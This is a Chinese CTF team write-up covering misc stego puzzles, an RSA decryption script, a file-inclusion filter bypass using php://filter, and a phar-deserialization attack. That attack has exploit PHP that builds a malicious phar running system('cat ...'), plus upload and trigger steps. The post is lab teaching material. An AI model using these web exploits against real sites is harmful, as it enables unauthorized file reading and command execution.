我的队伍只做了5题，还是太菜了，本来不想发的，但是写都写了，还是水一篇博客吧

这里是我们队的wp

misc1

给了一个压缩包，解压需要密码，用纯数字密码没跑出来，感觉可能不是要强跑，看了下压缩包文件名，好长而且是32位，感觉是MD5，拿去网站查一下就出了

解压后发现flag.png打不开，用010发现是png文件头损坏，修复为

89 50 4E 47

打开图片发现是二维码，扫描发现

❀❁❀❇❀✼❀❂✿❆✿✽❁❀✿✾❂❅✿❄❂❉❀✿❂❆❀❃❀✿❂❆✿❀❁✾✻✿❁❁❀❁❂❊✻❂✿❈=

花瓣=朵编码，在线解码即可，https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=huaduo

flag{rUsJyNdKhdKuS4VfO7}

misc2

给了个图片

定积分算出来是Π，没啥头绪，用010看了看图片发现

很明显用stegpy工具，但是不知道密钥，推测是Π的前6位，一开始试314159，错了，又试了Π/6的前6位，又错

后面经队友提醒，发现密钥3.1415，真是逆天，小数点也在密钥里，接出来

3557736c7371495153424738633644326d352f4b5277672b36676a6d3174723144513855794a556d495a733dk:luckyone

把3557736c7371495153424738633644326d352f4b5277672b36676a6d3174723144513855794a556d495a733d十六进制编码了一下为

5WslsqIQSBG8c6D2m5/KRwg+6gjm1tr1DQ8UyJUmIZs=

密钥是luckone，试了好多各种带密钥的解密，后面尝试des的PKSC37填充，iv，密钥都是luckyone，就出了

crypto

密码学就一个题目，简单的rsa加密，很多参数都给了，直接按照加密脚本，对应解密即可

from Crypto.Util.number import getPrime, long_to_bytes
from Crypto.Util.strxor import strxor
from Crypto.PublicKey import RSA
d = 4885628697024674802233453512637565599092248491488767824821990279922756927662223348312748794983451796542248787267207054348962258716585568185354414099671493917947012747791554070655258925730967322717771647407982984792632771150018212620323323635510053326184087327891569331050475507897640403090397521797022070233
N = 89714050971394259600440975863751229102748301873549839432714703551498380713981264101533375672970154214062583012365073892089644031804109941766201243163398926438698369735588338279544152140859123834763870759757751944228350552806429642516747541162527058800402619575257179607422628877017180197777983487523142664487
ciphertext = 67254133265602132458415338912590207677514059205474875492945840960242620760650527587490927820914970400738307536068560894182603885331513473363314148815933001614692570010664750071300871546575845539616570277302220914885734071483970427419582877989670767595897758329863040523037547687185382294469780732905652150451m = pow(ciphertext,d,N)
xor_key = long_to_bytes(m)
key = b'Life is like an ocean only strong-minded can reach the other shore'
key = key[:len(xor_key)]
msg = strxor(key,xor_key)
print(msg)

web_1

题目提示是文件包含，一开始进去就是Access deny，没有权限，可能需要本地登录，加个XFF头就会显示，file is null

尝试传file参数来进行文件包含，但是ban了很多关键字，用只有php://filter时没有被ban，但是加上read或write都会被拦截，但是不加又没有回显，尝试把read=convert.base64-encodebase64一下就能回显了文件，然后读取flag即可

web_3

题目提示有源码，用dirsearch扫一下，发现有www.tar.gz，下载后发现了源码，关键如下

download.php

<?php$file = $_POST['file'];if (isset($_POST['file'])) {if (preg_match("/flag/", $file)) {die("Access Denied");}$forbidden_paths = array("/etc/");foreach ($forbidden_paths as $forbidden_path) {if (strpos($file, $forbidden_path) === 0) {die("Access Denied");}}if (strpos($file, '../') !== false || strpos($file, '..\\') !== false) {die("Access Denied");}echo file_get_contents($file);
}class File {public $val1;public $val2;public $val3;public function __construct() {$this->val1 = "val1";$this->val2 = "val2";}public function __destruct() {if ($this->val1 === "file" && $this->val2 === "exists") {if (preg_match('/^\s*system\s*\(\s*\'cat\s+\/[^;]*\'\s*\);\s*$/', $this->val3)) {eval($this->val3);} else {echo "Access Denied";}}}public function __access() {$Var = "Access Denied";echo $Var;}public function __wakeup() {$this->val1 = "exists";$this->val2 = "file";echo "文件存在";}
}?>

upload.php

<?php
if ($_FILES["file"]["error"] > 0){echo "文件上传出错";
}
else{$extensions = array("gif", "jpg", "png");$temp = explode(".", $_FILES["file"]["name"]);$fileExtension = end($temp);$fileSizeCheck = $_FILES["file"]["size"];$isExtensionAllowed = in_array($fileExtension, $extensions) ? true : false;if ($fileSizeCheck && $isExtensionAllowed){$fileContent = file_get_contents($_FILES["file"]["tmp_name"]);$haltCompilerCheck = strpos($fileContent, "__HALT_COMPILER();");if(gettype($haltCompilerCheck) === "integer"){echo "phar";}else{if (file_exists("./upload/" . $_FILES["file"]["name"])){echo $_FILES["file"]["name"] . " 文件已经存在";}else{$fileHandle = fopen("./upload/".$_FILES["file"]["name"], "w");fwrite($fileHandle, $fileContent);fclose($fileHandle);echo "上传成功 ./upload/".$_FILES["file"]["name"];}}}else{echo "不允许上传 .".$fileExtension;}
}function obfuscateCode($code) {$a = strrev($code);$b = base64_encode($a);return $b;
}function deobfuscateCode($code) {$a = base64_decode($code);$b = strrev($a);return $b;
}obfuscateCode($_SERVER["PHP_SELF"]);?>

然后还有一个文件上传的页面
要利用File类的__destruct方法读取flag

download.php，有file_get_contents,可以post一个file参数用phar协议，触发phar反序列化

但是有__wakeup需要绕过，发现php版本为5.5，修改系列化字符传属性数字即可

upload.php检测了phar文件特征__HALT_COMPILER();，gzip压缩或者写入zip注释，我这里用gzip压缩

然后正则比较奇葩，不能有flag，命令要是system(cat ..);类似的，

exp如下：

<?php
class File {public $val1;public $val2;public $val3;
}$a= new File();
$a->val1='file';
$a->val2='exists';
$a->val3="system('cat /f*');";
$phar=new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$phar->setMetadata($a);
$phar->addFromString("a.txt","a");
$phar->stopBuffering();?>

生成phar文件后，要用16进制修改器修改表示属性个数的16进制值，否则脚本重签名会失败，

改完后再用脚本重签名，然后gzip压缩，最后改个png后缀在上传页面传上去后，在download.php传

?file=compress.zlib://phar://newtest.png/a.txt

读取phar文件，触发phar反序列化